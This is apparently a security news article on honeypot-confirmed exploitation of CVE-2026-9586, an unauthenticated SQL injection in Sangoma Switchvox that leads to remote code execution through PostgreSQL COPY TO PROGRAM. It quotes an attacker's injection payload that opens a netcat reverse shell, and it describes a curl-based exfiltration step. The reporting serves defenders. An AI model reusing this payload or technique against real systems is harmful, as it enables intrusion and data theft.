DeafNews
// 2 ZERO-DAY · 2 CVE · 4 EXPLOIT IN THE LAST 24H→
Vulnerabilities CRITICAL

Honeypot Confirms Active Exploitation of Sangoma Switchvox RCE

Published: Updated: By Samuel Segato 6 min read Vulnerabilities
Share
WhatsApp Facebook X (Twitter) LinkedIn Reddit Telegram Email
CVE-2026-9586 affects roughly 4,000 internet-exposed Switchvox systems. Defused Cyber honeypots recorded in-the-wild exploitation with reverse shells and process enumeration on August 30, 2026.

On August 30, 2026, an attacker at IP 176.65.148.184 hit multiple Defused Cyber honeypots with valid payloads against Sangoma Switchvox, confirming that CVE-2026-9586 is actively exploited in the wild. The vulnerability, an unauthenticated SQL injection leading to remote code execution, resides in an HTTP endpoint for Polycom phone notifications that processes XML without validating the PhoneIP field. Roughly 4,000 Switchvox devices remain exposed on the internet, predominantly in the United States, according to Shodan data cited by the source.

Key Takeaways
  • CVE-2026-9586 is an unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (104997) that enables RCE via PostgreSQL COPY TO PROGRAM
  • In-the-wild exploitation is documented by honeypot logs from August 30, 2026 with concrete payloads: netcat reverse shell and process exfiltration via curl
  • The vulnerable /pa endpoint handled by PhoneAppsHandler.pm directly concatenates the PhoneIP field from XML into SQL queries executed as superuser
  • The patch is available in Switchvox 8.4.0.2 released July 14, 2026; coordinated disclosure began April 10, 2026

From Proactive Audit to Direct Observation: The CVE-2026-9586 Chain

Horizon3 identified 12 distinct vulnerabilities in Switchvox during an audit begun in early 2026. CVE-2026-9586 stands out as the most impactful: an unauthenticated HTTP endpoint, /pa, designed for Polycom phone notifications, becomes a vehicle for full system compromise.

The technical path is linear and lethal. The PhoneAppsHandler.pm module receives POST data, validates only the presence of the root tag, then extracts the PhoneIP field from the XML. This value is concatenated directly into a SQL string without sanitization or parameterization. The query executes as a PostgreSQL superuser, opening the door to COPY TO PROGRAM for arbitrary command execution.

Security Risk Advisors independently reported the same issues on May 11, 2026, confirming convergence among researchers. The coordinated disclosure timeline shows: report to Sangoma on April 10, 2026, vendor acknowledgment the same day, pre-release patch on April 21, and public release of 8.4.0.2 on July 14, 2026.

Observed Payloads: From Reverse Shell to Reconnaissance in Minutes

The honeypot db-quirks.log documents the attacker's operational sequence. The initial payload exploits COPY TO PROGRAM to establish a reverse shell via netcat:

"SQL: SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt'--' AND config_state = 'configured'"

— Horizon3, db-quirks.dat log from Defused Cyber honeypot

The subsequent payload exfiltrates process data: the attacker runs top, pipes the output through base64, and sends it via curl to an external server. The speed of the transition from initial access to systematic reconnaissance — mere minutes between the two stages — indicates an operator with prepared tooling, not casual experimentation.

IP 176.65.148.184 appears across multiple honeypots in rapid succession, a pattern the source interprets as systematic scanning rather than targeted attack. Horizon3 states that "given the quick succession of exploit attempts across multiple honeypots from the same source IP, we believe that it is likely that most internet exposed Switchvox instances will be or have already been targeted."

NVD Confirms Affected Version and Fix, Not the CVSS

The NVD record for CVE-2026-9586 confirms Sangoma Switchvox SMB Edition version 8.3 (104997) as vulnerable, with resolution in 8.4.0.2. The attack vector is classified as unauthenticated SQL injection. The dossier does not report an explicit numerical CVSS score from the provided NVD record: the figure remains unavailable in the material available to the editorial team.

The broader context places CVE-2026-9586 in an ecosystem already under pressure. The CISA KEV catalog includes prior Sangoma/FreePBX vulnerabilities, signaling a pattern of active targeting of the supply chain. The NVD sources cited in the dossier — CVE-2025-57819 and CVE-2025-64328 — document this historical trend, though they do not directly involve Switchvox.

Horizon3 observed in-the-wild exploitation attempts: the transition from theoretical vulnerability to documented compromise took less than a month and a half from the public patch release. This temporal compression aligns with the demonstrated interest in the Sangoma ecosystem in the first half of 2026.

Why It Matters

The brief does not specify detailed remedial measures beyond upgrading to 8.4.0.2. The source does not document additional indicators of compromise beyond the db-quirks.dat logs already cited. It does not emerge whether Sangoma has issued separate security bulletins or scanning tools for administrators.

The dossier does not clarify whether CVE-2026-9586 has been added to the CISA KEV catalog at the time of writing. The threat actor behind IP 176.65.148.184 is not attributed: no infrastructure overlap with previously documented campaigns emerges from the available data. The scope of the other 11 Switchvox vulnerabilities reported by Horizon3 is not detailed in the provided material.

On-premises Switchvox serves critical infrastructure: call centers, healthcare, finance. Compromise of these systems exposes not only the servers but the metadata and potentially the content of voice communications. The source does not specify the nature of exfiltrated data beyond the system processes captured by top.

Takeaway: When VoIP Patching Becomes a Matter of Hours

The CVE-2026-9586 chain illustrates a pattern that on-premises voice infrastructure teams have learned to fear: a forgotten endpoint, designed for telephone hardware compatibility, that exposes the management database without authentication. The PostgreSQL superuser is not an anomalous configuration in these products — it is the norm for managing extensions and provisioning — but it becomes catastrophic when the boundary between application and database collapses into a single string concatenation.

The honeypot served as an alarm trigger, not a barrier. The real value of this research lies in demonstrating that exploitation follows disclosure at intervals measured in weeks, not months, for products with a well-defined attack surface and a quantifiable exposed population. For the Sangoma ecosystem, already battered by previous CVEs entered into the CISA catalog, CVE-2026-9586 represents a new chapter in a book that shows no sign of closing.

Sources

Information is based on the cited source and current as of publication.

Sources

Sources and references
  1. horizon3.ai
  2. nvd.nist.gov
  3. cisa.gov
  4. sangoma.com